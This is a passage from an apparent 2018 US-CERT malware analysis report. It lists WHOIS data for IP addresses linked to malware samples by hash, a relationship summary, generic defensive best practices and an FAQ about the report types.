e-mail:         hqs-ipabuse@chinaunicom.cn
abuse-mailbox: hqs-ipabuse@chinaunicom.cn
admin-c:        CH1302-AP
tech-c:         CH1302-AP
auth:         # Filtered
mnt-by:         MAINT-CNCGROUP
last-modified: 2017-10-23T05:59:13Z
person:         ChinaUnicom Hostmaster
nic-hdl:        CH1302-AP
e-mail:         hqs-ipabuse@chinaunicom.cn
address:        No.21,Jin-Rong Street
address:        Beijing,100033
address:        P.R.China
phone:         +86-10-66259764
fax-no:         +86-10-66259764
country:        CN
mnt-by:         MAINT-CNCGROUP
last-modified: 2017-08-17T06:13:16Z
person:         sun ying
address:        fu xing men nei da jie 97, Xicheng District
address:        Beijing 100800
country:        CN
phone:         +86-10-66030657
fax-no:         +86-10-66078815
e-mail:         hostmast@publicf.bta.net.cn
nic-hdl:        SY21-AP
mnt-by:         MAINT-CNCGROUP-BJ
last-modified: 2009-06-30T08:42:48Z
source:         APNIC

Relationships
111.207.78.204Connected_From3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210

80.91.118.45

Ports
  • 443 TCP
Whois

inetnum:        80.91.118.0 - 80.91.119.255
netname:        Abissnet
descr:         Business Customers
country:        AL
admin-c:        AB34506-RIPE
tech-c:         AB34506-RIPE
status:         ASSIGNED PA
mnt-by:         AS35047-MNT
created:        2014-10-24T10:09:33Z
last-modified: 2016-06-09T09:47:15Z
source:         RIPE
role:         Abissnet BBone
address:        Rr. Ismail Qemali, P. Abissnet
e-mail:         bbone@abissnet.al
abuse-mailbox: bbone@abissnet.al
nic-hdl:        AB34506-RIPE
mnt-by:         AS35047-MNT
created:        2016-06-09T08:09:15Z
last-modified: 2016-06-09T08:41:05Z
source:         RIPE

% Information related to '80.91.118.0/24AS35047'

route:         80.91.118.0/24
descr:         Abissnet ISP
origin:         AS35047
mnt-by:         AS35047-MNT
created:        2011-02-27T10:24:58Z
last-modified: 2011-02-27T10:24:58Z
source:         RIPE

Relationships
80.91.118.45Connected_From3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210

181.119.19.56

Ports
  • 443 TCP
Whois

NetRange:     181.0.0.0 - 181.255.255.255
CIDR:         181.0.0.0/8
NetName:        LACNIC-181
NetHandle:     NET-181-0-0-0-0
Parent:         ()
NetType:        Allocated to LACNIC
OriginAS:    
Organization: Latin American and Caribbean IP address Regional Registry (LACNIC)
RegDate:        1993-04-30
Updated:        2010-07-21
Comment:        This IP address range is under LACNIC responsibility
Comment:        for further allocations to users in LACNIC region.
Comment:        Please see http://www.lacnic.net/ for further details,
Comment:        or check the WHOIS server located at http://whois.lacnic.net
Ref:            https://whois.arin.net/rest/net/NET-181-0-0-0-0
OrgName:        Latin American and Caribbean IP address Regional Registry
OrgId:         LACNIC
Address:        Rambla Republica de Mexico 6125
City:         Montevideo
StateProv:    
PostalCode:     11400
Country:        UY
RegDate:        2002-07-26
Updated:        2018-03-15
Ref:            https://whois.arin.net/rest/org/LACNIC

Relationships
181.119.19.56Connected_From3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210

59.90.93.97

Ports
  • 443 TCP
Whois

inetnum:        59.90.64.0 - 59.90.127.255
netname:        BB-Multiplay
descr:         O/o DGM BB, NOC BSNL Bangalore
country:        IN
admin-c:        BH155-AP
tech-c:         DB374-AP
status:         ASSIGNED NON-PORTABLE
mnt-by:         MAINT-IN-DOT
mnt-irt:        IRT-BSNL-IN
last-modified: 2011-02-18T09:27:20Z
source:         APNIC

irt:            IRT-BSNL-IN
address:        Internet Cell
address:        Bharat Sanchar Nigam Limited
address:        8th Floor,148-B Statesman House
address:        Barakhamba Road, New Delhi - 110 001
e-mail:         abuse@bsnl.in
abuse-mailbox: abuse@bsnl.in
admin-c:        NC83-AP
tech-c:         CGMD1-AP
auth:         # Filtered
mnt-by:         MAINT-IN-DOT
last-modified: 2017-10-20T05:42:50Z
source:         APNIC

person:         BSNL Hostmaster
nic-hdl:        BH155-AP
e-mail:         hostmaster@bsnl.in
address:        Broadband Networks
address:        Bharat Sanchar Nigam Limited
address:        2nd Floor, Telephone Exchange, Sector 62
address:        Noida
phone:         +91-120-2404243
fax-no:         +91-120-2404241
country:        IN
mnt-by:         MAINT-IN-PER-DOT
last-modified: 2015-11-12T06:00:14Z
person:         DGM Broadband
address:        BSNL NOC Bangalore
country:        IN
phone:         +91-080-25805800
fax-no:         +91-080-25800022
e-mail:         dnwplg@bsnl.in
nic-hdl:        DB374-AP
mnt-by:         MAINT-IN-PER-DOT
last-modified: 2011-02-19T10:03:44Z
source:         APNIC

% Information related to '59.90.80.0/20AS9829'

route:         59.90.80.0/20
descr:         BSNL Internet
country:        IN
origin:         AS9829
mnt-lower:     MAINT-IN-DOT
mnt-routes:     MAINT-IN-DOT
mnt-by:         MAINT-IN-AS9829
last-modified: 2008-09-04T07:54:47Z
source:         APNIC

Relationships
59.90.93.97Connected_Froma71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6

Relationship Summary

8c3e0204f5...Containsa71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6
a71017302e...Connected_To59.90.93.97
a71017302e...Contained_Within8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8
675a35e04b...Containse69d6c2d3e9c4beebee7f3a4a3892e5fdc601beda7c3ec735f0dfba2b29418a7
e69d6c2d3e...Contained_Within675a35e04b19aab314bcbc4b1f2610e3dea4a80c277cc5188f1d1391a00dfdb1
d1d490866d...Contains40ef57ca2a617f5d24ac624339ba2027b6cf301c28684bf8b2075fc7a2e95116
40ef57ca2a...Contained_Withind1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92
546dbd370a...Contains3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
3c809a1010...Contained_Within546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1
3c809a1010...Connected_To184.107.209.2
3c809a1010...Connected_To111.207.78.204
3c809a1010...Connected_To80.91.118.45
3c809a1010...Connected_To181.119.19.56
c9e3b83d77...Containse088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef
e088c3a0b0...Contained_Withinc9e3b83d77ce93cc1d70b22e967f049b13515c88572aa78e0a838103e5478777
20abb95114...Connected_To98.101.211.162
20abb95114...Connected_To81.0.213.173
98.101.211.162Connected_From20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64
81.0.213.173Connected_From20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64
184.107.209.2Connected_From3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
111.207.78.204Connected_From3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
80.91.118.45Connected_From3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
181.119.19.56Connected_From3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210
59.90.93.97Connected_Froma71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6

Recommendations

NCCIC would like to remind users and administrators to consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumbdrives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate ACLs.

Additional information on malware incident prevention and handling can be found in NIST's Special Publication 800-83, Guide to Malware Incident Prevention & Handling for Desktops and Laptops.

Contact Information

NCCIC continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact US-CERT and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the NCCIC at 1-888-282-0870 or soc@us-cert.gov.

Can I submit malware to NCCIC? Malware samples can be submitted via three methods:

NCCIC encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on US-CERT's homepage at www.us-cert.gov.

Revisions

  • June 14, 2018: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.

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